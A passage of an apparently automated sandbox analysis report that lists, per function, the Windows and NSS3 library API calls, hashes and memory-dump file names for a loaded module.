PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6CC67313), ref: 6CC690DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6CC67313), ref: 6CC690F1

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6CC67313), ref: 6CC6906B

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6CC67313), ref: 6CC69128

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: d24569561fc7a482e04f8d146e222dced9a4e351b0e753c939967173eceabff9
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 3F517E71A002018BEB109F6BDEC4B26B7F5AF44318F254129D955DBF61FB32E805CB91

Function 6CC19C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6CC18850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6CC20715), ref: 6CC18859
Part of subcall function 6CC18850: PR_NewLock.NSS3 ref: 6CC18874
Part of subcall function 6CC18850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6CC1888D

PR_NewLock.NSS3 ref: 6CC19CAD

Part of subcall function 6CCC98D0: calloc.MOZGLUE(00000001,00000084,6CBF0936,00000001,?,6CBF102C), ref: 6CCC98E5

Part of subcall function 6CBF07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB8204A), ref: 6CBF07AD
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB8204A), ref: 6CBF07CD
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB8204A), ref: 6CBF07D6
Part of subcall function 6CBF07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB8204A), ref: 6CBF07E4
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,6CB8204A), ref: 6CBF0864
Part of subcall function 6CBF07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBF0880
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB8204A), ref: 6CBF08CB
Part of subcall function 6CBF07A0: TlsGetValue.KERNEL32(?,?,6CB8204A), ref: 6CBF08D7
Part of subcall function 6CBF07A0: TlsGetValue.KERNEL32(?,?,6CB8204A), ref: 6CBF08FB

TlsGetValue.KERNEL32 ref: 6CC19CE8
EnterCriticalSection.KERNEL32(?,?,6CC1ECEC,6CC22FCD,00000000,?,6CC22FCD,?), ref: 6CC19D01
TlsGetValue.KERNEL32(?,?,?,6CC1ECEC,6CC22FCD,00000000,?,6CC22FCD,?), ref: 6CC19D38
EnterCriticalSection.KERNEL32(?,?,6CC1ECEC,6CC22FCD,00000000,?,6CC22FCD,?), ref: 6CC19D4D
PR_Unlock.NSS3 ref: 6CC19D70
PR_Unlock.NSS3 ref: 6CC19DC3
PR_NewLock.NSS3 ref: 6CC19DDD

Part of subcall function 6CC188D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CC20725,00000000,00000058), ref: 6CC18906
Part of subcall function 6CC188D0: EnterCriticalSection.KERNEL32(?), ref: 6CC1891A
Part of subcall function 6CC188D0: PL_ArenaAllocate.NSS3(?,?), ref: 6CC1894A
Part of subcall function 6CC188D0: calloc.MOZGLUE(00000001,6CC2072D,00000000,00000000,00000000,?,6CC20725,00000000,00000058), ref: 6CC18959
Part of subcall function 6CC188D0: memset.VCRUNTIME140(?,00000000,?), ref: 6CC18993
Part of subcall function 6CC188D0: PR_Unlock.NSS3(?), ref: 6CC189AF

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: 0bae8220f4c56b12bbc42006c73a650f5fb645a0d6478e280ef1dfdf58e8d7c3
Instruction ID: 5beea1d366a337bba3f129d0ba62009480ca53435d812c58fcb00cab6d1495a4
Opcode Fuzzy Hash: 0bae8220f4c56b12bbc42006c73a650f5fb645a0d6478e280ef1dfdf58e8d7c3
Instruction Fuzzy Hash: 98516171A187058FDB00EF6AC08466EBBF4BF44358F1585A9D8989BF10FB30E885DB91

Function 6CD19EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CD19EC0
EnterCriticalSection.KERNEL32(?), ref: 6CD19EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6CD19F73
EnterCriticalSection.KERNEL32(?), ref: 6CD19FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6CD19FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6CD19FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6CD1A01D

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: 96bdd21b602cbfb2a099b6f8488e045a7e4e1aa6251ae9f370ebbda16179d653
Instruction ID: a5e7edaf42800ae63bd2a75671d65cdc411a850a57ae0bb9bd2e87c53dd6ed35
Opcode Fuzzy Hash: 96bdd21b602cbfb2a099b6f8488e045a7e4e1aa6251ae9f370ebbda16179d653
Instruction Fuzzy Hash: 2751A0B2904600DFCB109F25E88465AB7F4FF08319F25856AD85957F26E731E889CBD2

Function 6CC24E50 Relevance: 12.1, APIs: 8, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC24E90
EnterCriticalSection.KERNEL32 ref: 6CC24EA9
TlsGetValue.KERNEL32 ref: 6CC24EC6
EnterCriticalSection.KERNEL32 ref: 6CC24EDF
PL_HashTableLookup.NSS3 ref: 6CC24EF8
PR_Unlock.NSS3 ref: 6CC24F05
PR_Now.NSS3 ref: 6CC24F13
PR_Unlock.NSS3 ref: 6CC24F3A

Part of subcall function 6CBF07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB8204A), ref: 6CBF07AD
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB8204A), ref: 6CBF07CD
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB8204A), ref: 6CBF07D6
Part of subcall function 6CBF07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB8204A), ref: 6CBF07E4
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,6CB8204A), ref: 6CBF0864
Part of subcall function 6CBF07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBF0880
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB8204A), ref: 6CBF08CB
Part of subcall function 6CBF07A0: TlsGetValue.KERNEL32(?,?,6CB8204A), ref: 6CBF08D7
Part of subcall function 6CBF07A0: TlsGetValue.KERNEL32(?,?,6CB8204A), ref: 6CBF08FB

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: f8b383a2da9a8a78bb1dc1d5e6b4eedd00438ad85f7c439a7150251f45a0f930
Instruction ID: 740725baf431546229bc1d081410502de51e26bf79dd03ea7ef460922d18e558
Opcode Fuzzy Hash: f8b383a2da9a8a78bb1dc1d5e6b4eedd00438ad85f7c439a7150251f45a0f930
Instruction Fuzzy Hash: B54139B4A00605DFDB00EF79C4848AAFBF4FF89314B018569ED599B711EB30E895CB91

Function 6CC0DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CC0DCFA

Part of subcall function 6CCC9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CD10A27), ref: 6CCC9DC6
Part of subcall function 6CCC9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CD10A27), ref: 6CCC9DD1
Part of subcall function 6CCC9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CCC9DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CC0DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CC0DD62
CERT_DestroyCertificate.NSS3(?), ref: 6CC0DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6CC0DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6CC0DD8F

Part of subcall function 6CC206A0: TlsGetValue.KERNEL32 ref: 6CC206C2
Part of subcall function 6CC206A0: EnterCriticalSection.KERNEL32(?), ref: 6CC206D6
Part of subcall function 6CC206A0: PR_Unlock.NSS3 ref: 6CC206EB

CERT_DestroyCertificate.NSS3(?), ref: 6CC0DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6CC0DDB7

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 47fb743819b770cabf45095fee3027f294e5fb777d22963ae1d0ef29ef1757fe
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: A5214CB6F012169BDB019F95DC40A9FB7B4AF05318F1400A5E914A7711F722E915CBF2

Function 6CC95F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CC9AADB,?,?,?,?,?,?,?,?,00000000,?,6CC980C1), ref: 6CC95F72

Part of subcall function 6CBFED70: DeleteCriticalSection.KERNEL32(?), ref: 6CBFED8F
Part of subcall function 6CBFED70: DeleteCriticalSection.KERNEL32(?), ref: 6CBFED9E
Part of subcall function 6CBFED70: DeleteCriticalSection.KERNEL32(?), ref: 6CBFEDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CC9AADB,?,?,?,?,?,?,?,?,00000000,?,6CC980C1), ref: 6CC95F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CC9AADB,?,?,?,?,?,?,?,?,00000000,?,6CC980C1), ref: 6CC95FCC
free.MOZGLUE(?,?,6CC9AADB,?,?,?,?,?,?,?,?,00000000,?,6CC980C1), ref: 6CC95FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CC9AADB,?,?,?,?,?,?,?,?,00000000,?,6CC980C1), ref: 6CC95FF4
free.MOZGLUE(?,?,6CC9AADB,?,?,?,?,?,?,?,?,00000000,?,6CC980C1), ref: 6CC95FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CC9AADB,?,?,?,?,?,?,?,?,00000000,?,6CC980C1), ref: 6CC96019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CC9AADB,?,?,?,?,?,?,?,?,00000000,?,6CC980C1), ref: 6CC96036

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: cb7a35930fab3cc7287d245fad2b25020119c1337b49c203df07017cae5e00ae
Instruction ID: e849e941946d5fa82d0b429016e3eefb70ce49c29c4fbfe804d0bb3d80919df1
Opcode Fuzzy Hash: cb7a35930fab3cc7287d245fad2b25020119c1337b49c203df07017cae5e00ae
Instruction Fuzzy Hash: B82159F5A04B409BEB209F74D848BD777ACAF45759F500928E46EC7B40EB36E019CBA1

Function 6CC03C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6CC7460B,?,?), ref: 6CC03CA9
EnterCriticalSection.KERNEL32(?), ref: 6CC03CB9
PL_HashTableLookup.NSS3(?), ref: 6CC03CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6CC03CD6
PR_Unlock.NSS3 ref: 6CC03CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6CC03CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC03D03
PR_Unlock.NSS3 ref: 6CC03D15

Part of subcall function 6CCADD70: TlsGetValue.KERNEL32 ref: 6CCADD8C
Part of subcall function 6CCADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CCADDB4

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 87bb1eb8ea4ec7c346d6e5f9e57e7579e92fadaa8b0aaaf4e5626570f4db6d92
Instruction ID: 9ecd30acbb7adad2918f2d212a4fd7a7b05f3942efc6a2ff5ff22ec2385b96d0
Opcode Fuzzy Hash: 87bb1eb8ea4ec7c346d6e5f9e57e7579e92fadaa8b0aaaf4e5626570f4db6d92
Instruction Fuzzy Hash: 5D11067AF00205ABEB011B26AC058BA3A3CEB0225CF184170EE1883711F722D869C6E1

Function 6CC88D20 Relevance: 10.8, APIs: 7, Instructions: 290memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD002,00000000), ref: 6CC88E19
free.MOZGLUE(?), ref: 6CC88E2D
PORT_Alloc_Util.NSS3(?), ref: 6CC88F01
memcpy.VCRUNTIME140(?,?,?), ref: 6CC88F57
free.MOZGLUE(?), ref: 6CC88F7D
PR_GetCurrentThread.NSS3 ref: 6CC88F8A
PR_SetError.NSS3(FFFFD044,00000000), ref: 6CC890D6

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Errorfree$Alloc_CurrentThreadUtilmemcpy
String ID:
API String ID: 4163001165-0
Opcode ID: e9c4e3992b5daa85f309fd70a70f3e865e02a339f5bd917648cc58f0e671b24f
Instruction ID: b03f6d72c1dc9a9335aa39a0b3f72f8b7a0deca3a7dc7696c63a6780161f9024
Opcode Fuzzy Hash: e9c4e3992b5daa85f309fd70a70f3e865e02a339f5bd917648cc58f0e671b24f
Instruction Fuzzy Hash: 9AA1B3756052019BE710CF25C880FABBBE5EF9830CF04496EE949DBA52F731E644C7A2

Function 6CC78C10 Relevance: 10.8, APIs: 7, Instructions: 279COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC78C93

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

Part of subcall function 6CC58A60: TlsGetValue.KERNEL32(6CC061C4,?,6CC05F9C,00000000), ref: 6CC58A81
Part of subcall function 6CC58A60: TlsGetValue.KERNEL32(?,?,?,6CC05F9C,00000000), ref: 6CC58A9E
Part of subcall function 6CC58A60: EnterCriticalSection.KERNEL32(?,?,?,?,6CC05F9C,00000000), ref: 6CC58AB7
Part of subcall function 6CC58A60: PR_Unlock.NSS3(?,?,?,?,?,6CC05F9C,00000000), ref: 6CC58AD2

memset.VCRUNTIME140(?,00000000,?), ref: 6CC78CFB
memset.VCRUNTIME140(?,00000000,?), ref: 6CC78D10

Part of subcall function 6CC58970: TlsGetValue.KERNEL32(?,00000000,6CC061C4,?,6CC05639,00000000), ref: 6CC58991
Part of subcall function 6CC58970: TlsGetValue.KERNEL32(?,?,?,?,?,6CC05639,00000000), ref: 6CC589AD
Part of subcall function 6CC58970: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CC05639,00000000), ref: 6CC589C6
Part of subcall function 6CC58970: PR_WaitCondVar.NSS3 ref: 6CC589F7
Part of subcall function 6CC58970: PR_Unlock.NSS3(?,?,?,?,?,?,?,6CC05639,00000000), ref: 6CC58A0C

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockmemset$CondErrorWait
String ID:
API String ID: 2412912262-0
Opcode ID: 85c3d4a0b7f43125012929f2854750ce6a7c92b24ae4d96d9552cf6d8833d54b
Instruction ID: c47bb1a7966bdc7f8ffebbe2ac907241a0c2e3cfd0049e2cf844e81fe2089f73
Opcode Fuzzy Hash: 85c3d4a0b7f43125012929f2854750ce6a7c92b24ae4d96d9552cf6d8833d54b
Instruction Fuzzy Hash: 60B18FB0D003099FEB14CF65DC50AAEB7BAFF48308F14812EE91AA7751E731A955CB61

Function 6CC09C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC211C0: PR_NewLock.NSS3 ref: 6CC21216

free.MOZGLUE(?), ref: 6CC09E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC09E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC09E4E
TlsGetValue.KERNEL32 ref: 6CC09EA2

Part of subcall function 6CC19500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6CC19546

EnterCriticalSection.KERNEL32(?), ref: 6CC09EB6
PR_Unlock.NSS3 ref: 6CC09ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CC09F18

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: 0304ed48af9a58df2d44abe00a9b0cc83097b9d8994559ae14ba4ad4b5f8d760
Instruction ID: fd0f4ff8c58c2ff57f4784adfe940066331bcba5c3069cb6796ea52b9d01ef9a
Opcode Fuzzy Hash: 0304ed48af9a58df2d44abe00a9b0cc83097b9d8994559ae14ba4ad4b5f8d760
Instruction Fuzzy Hash: EB81F4B1B04701ABEB009F35DC40BABB7A9BF45248F144528ED5987F51FB32E958C7A1

Function 6CC1DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC1AB10: DeleteCriticalSection.KERNEL32(D958E852,6CC21397,5B5F5EC0,?,?,6CC1B1EE,2404110F,?,?), ref: 6CC1AB3C
Part of subcall function 6CC1AB10: free.MOZGLUE(D958E836,?,6CC1B1EE,2404110F,?,?), ref: 6CC1AB49
Part of subcall function 6CC1AB10: DeleteCriticalSection.KERNEL32(5D5E6CE1), ref: 6CC1AB5C
Part of subcall function 6CC1AB10: free.MOZGLUE(5D5E6CD5), ref: 6CC1AB63
Part of subcall function 6CC1AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CC1AB6F
Part of subcall function 6CC1AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CC1AB76

TlsGetValue.KERNEL32 ref: 6CC1DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6CC1DD0E
PK11_IsFriendly.NSS3(?), ref: 6CC1DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6CC1DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC1DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CC1DEA6
PR_Unlock.NSS3(?), ref: 6CC1DF08

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: 1f8441646316969c91d3aee22f59f87ba7fa32e7945eca055180d183cb5cb370
Instruction ID: cd4e2d9a608a490a64482f45879174c6891bbaab54d8a0e3602757e5368aec97
Opcode Fuzzy Hash: 1f8441646316969c91d3aee22f59f87ba7fa32e7945eca055180d183cb5cb370
